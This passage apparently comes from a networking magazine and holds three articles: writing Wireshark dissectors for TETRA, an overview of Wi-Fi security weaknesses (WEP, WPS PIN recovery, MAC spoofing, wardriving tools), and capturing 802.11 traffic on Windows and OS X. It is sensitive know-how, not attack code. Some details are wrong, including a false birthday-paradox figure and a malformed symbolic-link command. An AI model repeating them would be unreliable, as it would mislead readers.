The TETRA Voice plus Data Air Interface (V+D AI) protocol stack is shown in Figure 1. The base of the protocol stack rests on the physical layer. The data link layer is composed of two sub-layer entities (MAC and LLC). An explicit Medium Access Control (MAC) sub-layer is introduced to handle the problem of sharing the medium by a number of users. At the MAC, the protocol stack is divided into two parts, the user plane (U-plane), for transporting information without addressing capability, and the control plane (C-plane), for signaling and user data with addressing capability. A *Logical Link Control* (LLC) resides above the MAC and is responsible for controlling the logical link between a MS and a BS over a single radio hop. An explicit Mobile/Base Control Entity (MLE/BLE) sub-layer resides above the LLC for handling establishment and maintaining the connection to the BS. The MLE/BLE also acts as a convergence, so the same layer 3 entities could

Figure 1. *TETRA V+D Air Interface Protocol Stack*

be used on top of different layer 2 entities. At the top of the protocol stack (layer 3), several entities may be present: *Mobility Management* (MM), *Circuit Mode Control Entity* (CMCE) and TETRA packet *data protocol* (PD). The interactions between layers go through *Service Access Points* (SAPs).

Capture wireless data

We need a hardware device to capture the traffic from the air and send it to Wireshark, that then decodes the traffic data into a format that helps administrators track down issues.

The primary motive for using Wireshark to analyze TETRA protocol data, is to help us develop our base station (BS) and mobile switch center (MSC) of TETRA. Figure 2 shows a diagram of our system architecture. A TETRA BS includes TETRA layer 1 and layer 2. The MAC itself is divided into two sub-layers, the upper and lower MAC. The lower MAC performs the channel coding, interleaving and scrambling. The upper MAC performs the other MAC protocol functions. In our system, an FPGA is used to implement the features of physical layer (PL) and the lower MAC (LMAC), while Base Station Controller (BSC) provides the functions of the upper MAC and LLC layers. TMV-SAP inside the MAC layer allows a protocol description using primitives and logical channels. By using the TMV-UNITDATA request primitive, the C-plane or U-plane information provided by higher layers will be placed into the appropriate logical channel and transmitted to the physical layer in the assigned timeslot, in the multiple frames. When lower MAC receives the data from an MS, it will send the data to upper MAC using TMV-UNITDATA indication primitive.

There is no TETRA standard between a BS and an MSC, so we define this interface as AZ Interface in our system, just like A-Interface in GSM or Iu Interface in UMTS. A BSC connects to an MSC via Ethernets, and exchanges signaling using UDP protocol. U-Plane traffic data will be transferred using Real-time Transport Protocol (RTP) among TETRA networks. RTP provides mechanisms for the sending and receiving applications to support streaming data, so we choose RTP protocol to transfer traffic data in our system like most VoIP systems.

BSC forwards all signaling and U-plane data, exchanged at both AZ Interface and TMV-SAP, to a monitoring computer for the purpose of observation and analysis. We defined the format of the TMV-SAP data as *TETRA Monitor Protocol* (TMP). This protocol will be discussed in a later section. Wireshark will be installed in the monitoring computer to capture and save the packet data. Because all the signaling and U-plane data is not standardized, we need to develop custom dissectors to analyze the captured data.

Another choice to capture the wireless TETRA data is using Osmocom TETRA. Osmocom TETRA project is an open source Software Defined Radio TETRA Air interface sniffer, which aims at implementing the sending and receiving part of the TETRA MAC/PHY layer.

Currently, Osmocom TETRA project can

- receive, demodulate and decode TETRA downlink signals of real-world TETRA networks
- display information about SYNC, SYSINFO, MM and CMCE PDUs
- forward those TETRA downlink signals to the Wireshark protocol analyzer
- forward IP packets contained in TETRA SNDCP to a local tun/tap device

Osmocom TETRA also adopts our TETRA Monitor Protocol.

TETRA Monitor Protocol

TETRA Monitor Protocol (TMP) is used to collect the information from TMV-SAP of a TETRA base station. TMP is based on UDP protocol and the target port number is 7074. Each TMP packet contains only one TETRA burst. The packet format for TMP data is defined in Figure 3. The *Command type* field indicates the nature of the follow-up data in the monitoring message, which is defined in Ta-

Figure 2. *System Architecture of TETRA BSC and MSC*

Figure 3. *The Packet Format of TMP*

ble 1. *MAC-Timer* is not a primitive defined in the TETRA standard, and it is used to help software developers to process the interrupt of the time slot. *TMV-UNITDATA indication Done* and *TMV-UNITDATA request Done* are similar to *TMV-UNITDATA indication* and *TMV-UNITDATA request* primitives, which are conducive to software debugging.

Carrier number field is used to distinguish different carrier.

TETRA is a TDMA system, and hence Timer field contains the time slot information about the packet. The bit description of Timer field is shown in Table 2.

The meaning of Register field depends on the value of the *Command type* field. The bit description of the *Register* field of *TMV-UNITDATA request* and *TMV-UNITDATA indication* primitive are respectively shown in Table 3 and Table 4.

Table 1. *Command Type Field Information Element Contents*

Command type	Meaning	Remark
1	TMV-UNITDATA request	The BS sends the data to an MS.
2	TMV-UNITDATA indication	An MS sends the data to the BS.
3	MAC-Timer	No data to be sent or received
127	TMV-UNITDATA indication Done	This message will be sent by a base station after the data are written to the LLC layer.
128	TMV-UNITDATA request Done	This message will be sent by a base station after the data are written to the lower MAC layer.

Table 2. *Bit Description of Timer Field*

BIT	Symbol	Description
5:0	MFN	multiple frame number
10:6	FN	frame number
12:11	SN	Slot number
31:13	Reserved	

Table 3. *The Bit Description of Register Field in TMV-UNITDATA Request Primitive*

BIT	Symbol	Value	Description
1:0	LCHN	00	1 logical channel
		01	2 logical channels
		10	3 logical channels
		Reserved	Reserved
5:2	Reserved	0000	Reserved
9:6	FLCHTP (First logical channel)		See Table 5
13:10	SLCHTP (Second logical channel)		See Table 5
17:14	TLCHTP (Third logical channel)		See Table 5
31:18	Reserved	Reserved	Reserved

Table 4. *The Bit Description of Register Field of TMV-UNITDATA Indication Primitives*

BIT	Symbol	Value	Description
1:0	LCHN	01	1 logical channel
		10	2 logical channels
		Reserved	Reserved
2	CRC1	0	OK
		1	Error
3	CRC2	0	OK
		1	Error
7:4	FLCHTP (First logical channel)		See Table 5
11:8	SLCHTP (Second logical channel)		See Table 5
31:12	Reserved	Reserved	Reserved

Table 5. *Logical Channel Type Information Element Contents*

Logical Channel type	Meaning
1	AACH
2	SCH/F
3	SCH/HD
5	BSCH
6	BNCH
7	TCH/F
8	TCH/H
9	TCH/2.4
10	TCH/4.8
11	STCH
12	TCH/7.2
15	SCH/HU
Others	Reserved

Writing Wireshark Dissectors

Dissectors are what allow Wireshark to decode individual protocols and present them in readable

format. We developed three Wireshark dissectors, TMV-SAP dissector, AZ Interface dissector and TETRA traffic dissector, for deep analysis of the TETRA protocol.

- TMV-SAP dissector will decode all the parameters of TMV-SAP primitives, including time slots, logical channel type and data, and so on.
- AZ Interface dissector will decode all the parameters of TLA-SAP, TLB-SAP and TLC-SAP primitives.
- Wireshark provides a built-in dissector for RTP, but RTP payload types defined in RFC 3551 do not include TETRA traffic data, so the default RTP dissector can't identify our TETRA traffic data. We need to write a TETRA traffic dissector to solve this problem.

Both TMV-SAP dissector and AZ Interface dissector are registered as the dissector of "udp.port". TETRA traffic dissector is a sub-dissector of "rtp.pt", and it will decode all parts of TETRA traffic data except the RTP protocol header.

TETRA TMV-SAP dissector is integrated into the official release of Wireshark since version 1.6 and you can view the complete source code of TMV-SAP dissector in the source code package. The implantation details of the other two dissectors are outside the scope of this article.

A protocol dissector can be written in C or Lua. Lua is a powerful light-weight programming language designed for extending applications. Although it's possible to write dissectors in Lua, most Wireshark dissectors are written in C, because it is several times faster. You can use Lua for prototyping dissectors, as during reverse engineering, you can save time for finding out how things work.

Wireshark also supports the implementation of protocol dissectors as plug-ins. Plug-ins can be developed and debugged without having to rebuild the whole Wireshark distribution. Under Windows, you can compiled a plug-in into a *.DLL* file and place it into *C:\Program Files\Wireshark/plugins/<VERSION NUMBER>* directory. Wireshark will automatically load all plug-ins when it starts.

The first step in the development process is to acquire the Wireshark source code. The source code of Wireshark including all protocol dissectors can be done directly from the Wireshark website by hovering over the Develop link and clicking 'Browse the Code'. This link will send you to the Wireshark subversion repository, where you can view the current release code for Wireshark as well as the code for previous releases. Several open source libraries and tools are required for compiling the source code of the Wireshark dissector, so it is inconvenient to configure the build environment. If you are developing a Wireshark dissector under Windows, please refer to Ken Thompson's excellent article, *"Creating Your Own Custom Wireshark Dissector"*, which is published on the *Code Project* web site. You can find detailed step by steps required to configure the build environment. You can also find a lot of useful information about the Wireshark build environment on other OS' at *www.wireshark.org* website.

We need to create a *proto_register_tetra* function that was registered with Wireshark for our packet dissection.

The *proto_reg_handoff_tetra* function is used to instruct Wireshark on when to call

your dissector (Listing 1). The *create_dissector_handle* function passes the function that Wireshark calls to dissect the packets and the *proto_xxx* value that was registered as the protocol in the *proto_register_protocol* function. The *dissector_add* function will trigger Wireshark to pass only the packet of UDP port 7074 to our dissector.

Listing 1. *The Code of proto_reg_handoff_tetra Function*

```
537 void proto_reg_handoff_tetra(void)
538 {
539         static gboolean initialized=FALSE;
540
541         if (!initialized) {
542                 data_handle = find_dissector("data");
543                 tetra_handle = create_dissector_handle(dissect_tetra, proto_tetra);
544                 dissector_add_uint("udp.port", global_tetra_port, tetra_handle);
545         }
546
547 }
```

When Wireshark receives a packet met with the criteria specified in the *proto_reg_handoff_tetra* function, it will call dissect_tetra and pass three important data structures to this function: tvb, pinfo, and tree.

- The tvb structure is used to extract and decode the data contained in each element of the packet.
- The pinfo structure provides specific information about the packet, based on information that was previously dissected by other processes (e.g., the pinfo structure tells you which packet number each relates to). It also contains flags for processing fragmented packets or multiple dissections.
- The tree structure provides a pointer towards the location in memory of the protocol tree data.

Please refer to the *README.developer* document located in the *doc* directory of the Wireshark source code package for further information related to dissector development.

Generate the dissector from ASN.1

As previously mentioned, a protocol dissector is commonly written in C, but Wireshark also provides the Asn2wrs compiler which generates the C source code of a dissector from an Abstract Syntax Notation One (ASN.1) specification of a protocol. ASN.1 is an international standard and provides flexible notation that describes rules and structures for representing, encoding, transmitting, and decoding data in telecommunications and computer networking. The Asn2wrs compiler is still a work in progress but has been used to create a number of dissectors. Next, we will use ASN.1 to develop the TMV-SAP dissector.

The TMV-SAP dissector will decode all three layers of PDUs, both uplink and downlink, and which remarkably improves the efficiency of debugging the AI protocol. The biggest challenge is the complex PDU encoding rule of TETRA. The TETRA protocol is defined using a tabular notation, to identify fields in the encoding structure (Figure 4), supplemented by English language text to define the encoding of those fields. The listed fields include both those carrying application semantics (that are relevant to an application programmer) and also determinant fields (that are relevant only to encoding/decoding code). Thomas Weigert and Paul Dietz pointed out that TETRA PDUs can't be expressed in ASN.1 syntax, so they designed a specific language and code generator for PDU decoding, only available in Motorola for internal use. With carefully investigation, we find that although the rule of TETRA does not accord with any existing ASN.1 encoding rules. However, it is very close to the UNALIGNED PER rule of ASN.1 (except from some uncommon features, such as Type 3 elements), so most TETRA PDU still can be processed by Asn2wrs compiler in Wireshark.

PDU decoding using ASN.1

Three different types of fields may be contained in a TETRA PDU.

Type 1 fields are mandatory and are therefore always present. They can be simply defined one by one in ASN.1 file with proper data type.

After all type 1 fields, a TETRA PDU will contain a bit, referred to as the O-bit, indicating whether

Table 63: D-CONNECT PDU contents

Information element	Length	Type	Owner	C/O/M	Remark
PDU Type	5	1	CC	M	
Call identifier	14	1	CC	M	
Call time-out	4	1	CC	M	
Hook method selection	1	1	CC	M	
Simplex/duplex selection	1	1	CC	M	
Transmission grant	2	1	CC	M	
Transmission request permission	1	1	CC	M	
Call ownership	1	1	CC	M	
Call priority	4	2	CC	O	
Basic service information	8	2	CC	O	See note
Temporary address	24	2	CC	O	
Notification indicator	6	2	SS	O	
Facility		3	SS	O	
Proprietary		3	-	O	
NOTE: If different from requested.					

Figure 4. *An Example of PDU Description in TETRA Standards*

any more bits will follow. O-bit-optional can also be expressed by a CHOICE type, where the first element is NULL type, and the second element is a SEQENCE type, of all Type 2 fields. An example of O-bit-optional is shown as follows.

```
……
optional-elements CHOICE
   {
       no-type2 NULL,
       type2-parameters SEQUENCE {
       …..
     }
   }
……
```

Type 2 fields, in a TETRA PDU, are optional. The presence of each such field is indicated by a flag bit, referred to as the P-bit. While the Type 2 field itself may be missing, its correlated P-bit will always be present (provided that the O-bit indicates that there are any following bits). Type 2 fields may be omitted but their order cannot be changed. Similar to O-bit-optional, Type 2 fields can also be expressed by a CHOICE type. Following is an example of Type 2 field.

```
……
called-party-mnc CHOICE {
none NULL,
called-party-mnc INTEGER ( 0..16383)
},
  ……
```

Listing 2 is a complete example of a TETRA PDU with Type 1 and Type 2 fields expressed in ASN.1 notation. Figure 5 is the decoding result displayed in Wireshark.

Figure 5. *The Decoding Result of D-CONNECT PDU*

Listing 2. *D-CONNECT PDU Expressed in ASN.1 Notation*

```
D-CONNECT::=
     SEQUENCE{
       call-identifier INTEGER (0..1023),
       call-time-out INTEGER (0..31),
       hook-method-selection BOOLEAN,
       simplex-duplex-selection ENUMERATED {simplex(0), duplex(1)},
       transmission-grant INTEGER (0..3),
       transmission-request-permission INTEGER (0..1) ,
       call-ownership INTEGER (0..1) ,
       optional-elements CHOICE{
           no-type2 NULL,
           type2-parameters SEQUENCE {
                 call-priority CHOICE{none NULL, call-priority INTEGER (0..15)},
                     basic-service-information CHOICE{none NULL, basic-service-information
                 Basic-service-information},
                       temporary-address CHOICE { none NULL, temporary-address Calling-party-
                 address-type},
                         notification-indicator CHOICE { none NULL, notification-indicator
                 INTEGER (0..63)},
                         prop [15] CHOICE {none NULL, prop [15] Proprietary }
         }
     }
  }
```

Asn2wrs Compiler

Asn2wrs Compiler is included in the source code package of Wireshark, which is written in Python. The compiler needs 4 input files; an ASN.1 description of a protocol, a .cnf file, and two template files. One template file is *.c* file, which includes the register and handoff function of the dissector. The other one is the header file (*.h*).

In our TETRA dissector, we decode the TMV header part in the template file with manual codes and handle the PDU data using ASN.1 generated codes.

The .cnf file tells the compiler what to do with certain things, and to skip auto generation for some ASN1 entries. In Listing 3, we append a string about the PDU name to the *INFO* column of Wireshark Graphical User Interface (GUI) window when the code dissects a PDU. Put `%(DEFAULT_BODY)s` inside and #.FN_BODY will insert the original code there.

Display Filters

In a busy TETRA system, the deluge of packets would be too much to handle. In this situation, Wireshark provides powerful display filters, so that users can specify which packets will be shown in Wireshark's GUI. Because all of the packets are still in memory, they become visible when you reset your display filter.

Wireshark provides a simple but powerful display filter language that allows you to build quite complex filter expressions. You can use any filterable fields provided by our dissectors to sift through the display records. For example, if you want to find a setup of a voice call, you can simply enter tetra.u_Setup in the filter window. Table 6 shows some common display filters.

Further improvements

The TETRA dissector included in the official release of Wireshark provides the basic ability to analyze the TETRA AI protocol. We can use some advance features of Wireshark to improve the function of the TETRA dissector. In this section, we will show improvement in our dissector.

Listing 3. *A Block of Code in .cnf File*

```
113 #.FN_BODY D-CONNECT
114 %(DEFAULT_BODY)s
115         col_append_sep_str(actx->pinfo-
                >cinfo, COL_INFO, NULL,
                "D-CONNECT");
116 #.END
```

Table 6. *Some Display Filters*

Display filter	Filter expression
TMV-SAP primitives	tetra.timer
TMV-UNITDATA request primitive	tetra.txreg
TMV-UNITDATA indication primitive	tetra.rvster
Both MAC-RESOURCE and MAC-ACCESS PDU	tetra.MAC_RESOURCE || tetra.MAC_ACCESS
CMCE U-SETUP PDU	tetra.u_Setup
Uplink voice data (TCH/F)	tetra.rxchannel1 == 3
Downlink voice data	tetra.txchannel2 == 3

Expert information

Expert information is the log of "possibly interesting" behavior in a capture, which allows users to get a summary of what they might want to look at. Expert information will be recorded by calling *expert_add_info_format* API with an item to which expert info is attached during the packet dissection. Four severity levels are supported: Chat, Note, Warn and Error. For example, we can check the CRC (Cyclic Redundancy Check) value of all logical channels as follows:

```
if(!(rxreg >> (i + 2) & 0x01)) /* CRC is true */
{
    ......
}
else
    expert_add_info_format(pinfo, crc_item, PI_
                CHECKSUM, PI_WARN,
            "The CRC of this channel is incorrect.")
```

If the CRC value is incorrect, the dissector will report it as a warning.

From the expert information dialog in Figure 6, we found 10 CRC errors, which is much higher

Figure 6. *Error Message Shown in Expert Information Dialog*

than we would expect. All the errors were occurring on STCH (STealing CHannel). The STCH is a channel associated with a TCH (Traffic Channel) that temporarily "steals" a part of the associated TCH capacity to transmit control messages. With careful checking of these error packets, we found a tiny bug in the channel decoder.

Tap listener

The tap system is a powerful and flexible mechanism to get event driven notifications on packets matching certain protocols and/or filters. In *proto_register_tetra* function, we can attach to taps provided by dissectors. Here is the example code:

```
stats_tree_register("tetra", /* the proto we are
                going to "tap" */
               "tetra_terms", /* the abbreviation
                for this tree */
       str, /* the name of the menu and window */
             0,
               tetra_stats_tree_packet, /* the
                per packet callback */
               tetra_stats_tree_init, /* the init
                callback */
               NULL ); /* the cleanup callback
                (in this case there isn't)
                */
```

In this example, *tetra_stats_tree_packet* function is the callback function of the tap listener, which will receive the data sent by taps.

Figure 7. *Statistics of Channel Load of MCCH*

On the Web

- http://www.codeproject.com/Articles/19426/Creating--Your-Own-Custom-Wireshark-Dissector – A guide for developer WireShark dissector under Windows
- *http://tetra.osmocom.org/trac/* – The Osmocom TETRA project
- *http://www.itu.int/ITU-T/asn1/introduction/index.htm* – Introduction to ASN.1

Taps can supply pre-digested data to listeners via *tap_queue_packet* funtion, and then the tap listeners process data supplied by the taps.

Now, we will show an example about the channel load of *Main Control CHannel* (MCCH). In each TETRA cell, one RF carrier shall be defined as the main carrier. Whenever a MCCH is used, it is located on the timeslot 1 of the main carrier. MCCH is very important for the TETRA system. The MCCH is used for signaling related to the setup of voice calls that are then performed on TCH. In the TETRA system, the *Short Data Service* (SDS), similar to short message service in GSM, also uses the MCCH. Hence, in cases of extremely high SDS traffic activity in a cell, the voice call could be blocked due to the collision in random access. We have to monitor the uplink channel load of MCCH.

Figure 7 is a running test of the uplink channel load of MCCH. MAC-TIMER indicates no uplink load, while TMV-UNITDAT-IND means that some MSs send the signaling or data to MCCH. In this test, the uplink only loads about 7.28%, and this is relatively low. If the channel load of MCCH is higher than 50%, we need to take some actions such as, for instance, adding a SCCH to the cell.

LI HAI

LI Hai is an associate professor of Beijing Institute of Technology (BIT). He is the leader of Professional Mobile Communication Research Group of BIT. He has led his team to develop a base station and switch system of the TETRA system, including both hardware devices and software protocol stacks. His team also provides the world's first automatic TETRA interoperability test system based on TTCN-3. His research interests include embedded operating systems, real-time systems, and protocol engineering of wireless communication systems. You can reach him at haili@bit.edu.cn.

The Revolving Door of Wi-Fi Security

This isn't a how-to guide for breaching wireless networks; there are more than enough of those floating around on the Internet. Instead, I wanted to provide some context and an overview of the Wi-Fi security space. Back to the revolving door that is Wi-Fi security and why broadly diverse security measures in random quantities make a poor barrier for entry.

Why is Wi-Fi often referenced as being a huge gap in security? Go to any large apartment building and fire up your Wi-Fi device. Within seconds, you're likely to see far more than a dozen wireless networks present themselves. In all likelihood you will see a wide array of approaches to protect these various networks. Some of these methods are good, some trivially easy to break into, and some networks may have no security or encryption at all. In many of these cases, that Wi-Fi access point is also the only security present on that network.

Regardless of motive (white hat or black) hacking isn't entirely a science, nor is it entirely some vaunted art form. Instead, from my perspective, it is a philosophical form. It is a specific way of thinking, and being able to put common place things into a different frame of perception. I'm reminded of Carl Sagan's description of how 3 dimensional objects would appear to a creature limited to perception in only two dimensions. A different form would appear, with surfaces, gaps, and angles in places that were unexpected and not seen when observed in 3 dimensional space. This abstract way of thinking is what allows us to view concepts, such as Wi-Fi networks and security in a different way. Again, the result to us is new surfaces, gaps, and angles that others may never have noticed before.

Wi-Fi security and encryption has been an IEEE standard since its broad commercial inception in late 1999. The very first encryption process was WEP (Wire Equivalent Privacy) which came into being at the same time and was retired in 2004 with WPA. You can still find active wireless access points using WEP these days. The encryption protocol itself was a stream based cipher with key sizes ranging from 64 bits (40 bit key concatenated with a 24 bit initialization vector) and upgraded to 128 bit keys once government restrictions on cryptography was eased. However, the IV portion of these keys was transmitted as plain text and varied with each packet. While intended to prevent repetition of use there is a greater than 50/50 chance that this IV will be repeated every 5000 packets. This provides a comparison point for the data encryption and has allowed some published attacks to crack a WEP key in as little as 5 minutes. Even given this, it's surprising that wireless access points can still be purchased that allow the use of WEP. What's worse is that many Wi-Fi routers and access points didn't have the required hardware to allow being upgraded to more advanced security measures and have never been replaced. This leaves a common and large gaping hole in many wireless networks (Figure 1).

These days, tools are plentiful, and so are processor resources. Thanks to business models such as Amazon's EC2 cloud computing platform, and many others like it, we all have cheap access to super computer class resources. This allows us to quickly solve very difficult problems with relative ease, and for pennies compared to what it would have cost

just 10 short years ago. With access to tools such as Aircrack-ng & Reaver even a cheap laptop has the processing power to crack a WEP key with relative ease. When considering that Wi-Fi signals can be received and eavesdropped from as much as a mile away, this is a huge problem. Even homes in isolated areas aren't safe from a drive by interception of wireless data. Google is an excellent example of this. While collecting their data when doing street view and related research work, they managed to pick up massive amounts of wireless traffic that was unsecured and being transmitted in the clear without encryption of any kind. This can be done with equipment purchased from any store with an electronics aisle for a few hundred bucks.

How could this be fixed? MAC address filtering is a stopgap security measure. This can be compared to a security chain on a door, it will prevent polite guests from entering, but a mild push can get break it with relative ease. MAC filtering is the same way; MAC addresses can be easily sniffed and spoofed. In fact, it's almost trivial to do; there are many tools that make this very easy such as SpoofMAC. This kind of casual protection method is a false sense of security at best, since most 802.11 devices broadcast their MAC address in the clear.

The next swing of the revolving door, WPA officially replaced WEP in late 2004, which the IEEE then superseded with WPA2. WPA replaced the fragile and small key of WEP with a dynamically generated 128 bit key that is created on a per packet basis in order to prevent brute force key crack attempts. In addition it also implemented a message integrity check to prevent packets from being captured and altered in transit. Most implementations of WPA make use of the pre-shared key model of authentication. This means each access point has a pre-entered 256 bit key or passphrase which is then shared with its in-field devices. This is then used for encryption of traffic. This is generally still considered a strong key given the *Landauer Limit*. However, like any other key or password, is often a common word or phrase, making brute force attempts with pre-generated PBKDF2-derived keys a frequent attack vector.

WPA was revealed as flawed when using WPS (Wi-Fi Protected Setup), which is turned on by default for many devices. This allows a remote attacker to recover the WPS PIN and the router's WPA password within a few hours. This has been proven in several published cracks, and open source software now exists to exploit this weakness. What makes this exploit more egregious than it otherwise might be is that many routers either don't allow you to shut off WPS or even when shut off leave the functionality of the feature enabled. This ensures no protection against this exploit for routers, some of which are from the largest and most popular enterprise equipment providers on the market.

Another interesting question strongly related to this question of WEP and WPA is does key length really matter in an encryption process? The simple answer is that yes it does, up to a certain point. For instance, in the case of our WEP example, a 40 bit key with a discoverable IV falls into the realm where it is possible to brute force crack. However, once we get into the realm of 128 bit versus 256 bit keys the answer is far murkier. The honest and practical truth is that, with current technology, 128 bit keys are just as unlikely to be brute forced as 256 bit keys in a short time frame. The practical difference between possible combinations and possi-

Figure 1. *WEP Authentication With Shared Key*

ble combinations are very few with encrypted data that both isn't static and doesn't need to be secure for many years to come. Most often attacks against keys this secure are achieved because of a flaw in the structure or implementation of the algorithm or key securing the data itself. However, details of the Birthday paradox make for some interesting reading. The fact is that to most folks, exponents aren't always the most intuitive way of thinking through a problem. The only reason this is called a paradox is that it flies in the face of surface level common sense. However, related to brute force cracking of any numeric sequence; it's fascinating to learn that there is a 75% chance of two people having the same birthday in a room with only 75 people.

The image below shows a brief comparison of the scale in complexity of possible combinations between the key sizes we've discussed. The first sample being a common 6 character alphanumeric password for comparison to the rest of the bit based keys. This diagram is meant to give a sense of the vast differences between each key size, if the diagram were to actual scale the first 3 columns would not be visible (Figure 2).

Even given the security around Wi-Fi networks and very strong encryption, where is the largest weakness in any given network? It's the people themselves, of course. These networks and infrastructure systems are built to allow individuals to make use of them in a secure manner. The individuals themselves though, must identify themselves to that system. The most common method of this is still the good, old-fashioned password, which is susceptible to all forms of hacking. Even as recently as this year, when major web sites and services have been hacked, we're still shocked to see how many people still use "1234" or "password" as their passwords. Why are we still shocked by this? People are creatures of habit; most individuals stick to a set of about 1500 words in day to day usage (in English). This is a fairly restrictive set, and the likely seed for most individual's password selections.

Figure 2. *Complexity Comparison*

The problem with people in Wi-Fi networks is even broader though. An individual with either ill will or simple ignorance can plug a wireless access point into the network port in their office and create an instant entry point to their corporate network. It doesn't even take special hardware; a mistake in configuration can even open someone's laptop as a wireless access point all by itself. This is why "wardriving" is so effective. It doesn't take much to install NetStumbler on a laptop and go for a drive. How many access points are not even secured, how many have default administrator passwords that never changed out of the box, and how many aren't upgraded and still running WEP. Worse yet, how many small and medium companies have no additional network security past this initial entry point. The best firewalls in the world are no guarantee, and without redundant lines of defense, you're wide open. Wi-Fi network security is in and of itself a revolving door as security methodologies and practices come and go and result in a patchwork of protection that is brittle and difficult to manage. This fragile wall is what sits between you and many companies and individuals valuable IP, data, and private information. In many cases, this fragile wall is just waiting for a gentle push.

JONATHAN WIGGS

The data architect for Netmotion Wireless, Inc., Jonathan Wiggs is an accomplished software architect with significant experience in the fields of big data, Bayesian analytics, enterprise architecture, and cloud computing. Jonathan has helped launch start-up companies including Jott Networks & RGB Labs, and has led engineering and research groups at companies such as Microsoft and Nuance. He enjoys writing, speaking, sharing his experiences with his peers, and giving back to the industry he has loved for more than twenty years. Contact Jonathan at jon_wiggs@yahoo.com.

TrustSphere

Global Reputation

TrustCloud

Industry's Most Comprehensive Real Time Dynamic Reputation List

+

Local Relationships

TrustVault™

Restoring Security, Integrity & Reliability to Messaging Systems

TrustSphere
Tel: +65 6536 5203
Fax: +65 6536 5463
www.TrustSphere.com

3 Phillip Street
#13- 03 Commerce Point
Singapore 048693

Capturing Wi-Fi Traffic with Wireshark

For many years, Wireshark has been used to capture and decode data packets on wired networks. Wireshark can also capture IEEE 802.11 wireless traffic while running on a variety of operating systems.

This article describes how Wireshark is used to capture / decode 802.11 traffic and its configuration specifics based on the operating system you are running. It covers three popular OS: MS-Windows, Linux and OS X. It also covers two ways to indirectly collect 802.11 traffic and then analyze it with Wireshark.

Wireshark on Windows

Wireshark in conjunction with AirPcap will enable you to capture 802.11 traffic on Microsoft Windows platforms. AirPcap is a Wi-Fi USB adapter from Riverbed (formerly CACE Technologies). It provides a wireless packet capture solution for MS Windows environments. AirPcap captures full 802.11 data, management and control frames that can be viewed in Wireshark, providing in-depth protocol dissection and analysis capabilities. AirPcap is available in three models: AirPcap Classic, AirPcap Tx and AirPcap Nx. All models can perform packet capture and both the Tx and Nx models can also do packet injection. Pricing varies from $198 to $698. Please note that AirPcap Classic and Tx only support 802.11b/g whereas AirPcap Nx supports 802.11a/b/g/n (Figure 1).

Figure 1. *Wireshark Multi Pack*

AirPcap setup is easy. Its USB adapter requires a special driver to be installed in Windows. This can be done from the provided CD by selecting 'install driver' at the install dialog. Depending on the Windows operating system version, when you plug the adapter in for the first time, Windows may show the “Found New Hardware Wizard”. From that same CD, you can also install Wireshark for Windows.

Once the driver installed, the new adapter will display in AirPcap control panel as “AirPcap USB wireless capture adapter nr 00”. Zero meaning the first adapter, 01 the second adapter and so on.

An AirPcap adapter will capture on one channel at a time. AirPcap control panel also enables you to select the channel on which the adapter will capture packets. If you purchased the multi-channel version, the control panel will display “AirPcap Multi-channel Aggregator”. Using 3 USB adapters, AirPcap enables Wireshark capturing simultaneously on 3 channels. For instance, channels 1, 6 and 11 in the 2.4 GHz band.

A special *wireless toolbar* appears in Wireshark when at least one AirPcap adapter is plugged into one of the USB ports, and can be used to change the parameters of the currently active wireless interfaces. This is where you can select to frame decryption for WEP or WPA/WPA2.

Listing 1. *Setting BPF Devices*

```
# ls -l /dev/bpf*

crw-rw-rw-  1 root  admin   23,   0  4 Oct 06:31 /dev/bpf0
crw-rw-rw-  1 root  admin   23,   1  4 Oct 06:31 /dev/bpf1
crw-rw-rw-  1 root  admin   23,   2  4 Oct 06:31 /dev/bpf2
crw-rw-rw-  1 root  admin   23,   3  4 Oct 06:31 /dev/bpf3
```

The AirPcap driver can use a set of WEP keys to decrypt traffic that encrypted with WEP. The list of keys can be edited by selecting the Keys tab in the AirPcap control panel. The AirPcap driver will attempt to decrypt the WEP encrypted frame using the your supplied set of WEP keys. That is, the driver will try all of the WEP keys for each frame until it finds one that decrypts the frame. By configuring the AirPcap driver with several WEP keys, it is possible to decrypt traffic coming from multiple Wi-Fi access points that are using different WEP keys.

Decryption of WPA/WPA2 can be done by Wireshark by setting the wireless toolbar decryption mode to Wireshark. In this mode, the driver doesn't perform any decryption of the captured packets (as in the case of WEP), and they are decrypted by Wireshark while displaying them. In order to decrypt WPA and WPA2 you will need to configure the pre-shared key and capture the 4-way EAPOL handshake used to establish the pairwise transient key (PTK) used for a session. Wireshark can only decrypt "WPA personal" sessions, which use pre-shared keys. Decryption of "WPA Enterprise" sessions is not supported.

Finally, one nice feature about AirPcap Nx adapter hardware: it has two internal antennas and two integrated MC-Card connectors for optional external antennas allowing you to do long-range capture. External antennas can be either omnidirectional or directional.

References

- AirPcap Home Page – *http://www.riverbed.com/us/products/cascade/wireshark_enhancements/airpcap.php*
- AirPcap Products Catalog – Pricing – *http://www.cacetech.com/products/catalog/*

Wireshark on MAC OS X

Capturing 802.11 frames with Wireshark under OS X can be achieved using your MacBook built-in Wi-Fi adapter. The following discussion relates how it was setup with OS X Lion. This may vary with other versions. Open a terminal window and set permissions on the BPF devices (Berkeley Packet Filter) so they can be accessed in read and write mode:

```
# sudo chmod 666  /dev/bpf*
```

The above `sudo` command requires you provide your account password

Verify whether the BPF devices are correctly set: Listing 1.

Next, create a symbolic link to the *airport* utility, this will prevent you from typing the whole path every time:

```
# ln -s sudo /System/Library/PrivateFrameworks/
Apple80211.framework/Versions/Current/Resources
/usr/sbin/airport
```

Now, with the *airport* utility, disassociate your Wi-Fi adapter and set it to the channel you want to capture. In the following example the `-z` flag will disassociate your NIC and flag `-c 11` sets the channel to 11.

Listing 2. *Verifying Your Channel*

```
# airport -I

     agrCtlRSSI: -73
     agrExtRSSI: 0
    agrCtlNoise: -91
    agrExtNoise: 0
          state: running
        op mode: station
     lastTxRate: 18
        maxRate: 54
lastAssocStatus: 0
    802.11 auth: open
      link auth: wpa2-psk
          BSSID: 10:84:d:e4:b8:7f
           SSID: xtnet
            MCS: -1
        channel: 11
```

```
# sudo airport -z -c 11
```

To verify whether your channel is set correctly, type `airport -I` and check the last line of the output: Listing 2.

Next, download and install Wireshark for OS X at: *http://www.wireshark.org/download.html.*

Start Wireshark. From the *Capture Options* make sure your Wi-Fi adapter will be listed as *en1 802.11 plus Radiotap Header* and it must be *enabled*. Also, ensure you check *Capture all in promiscuous mode*.

You are all set to go and can start capturing Wi-Fi on interface *en1.*

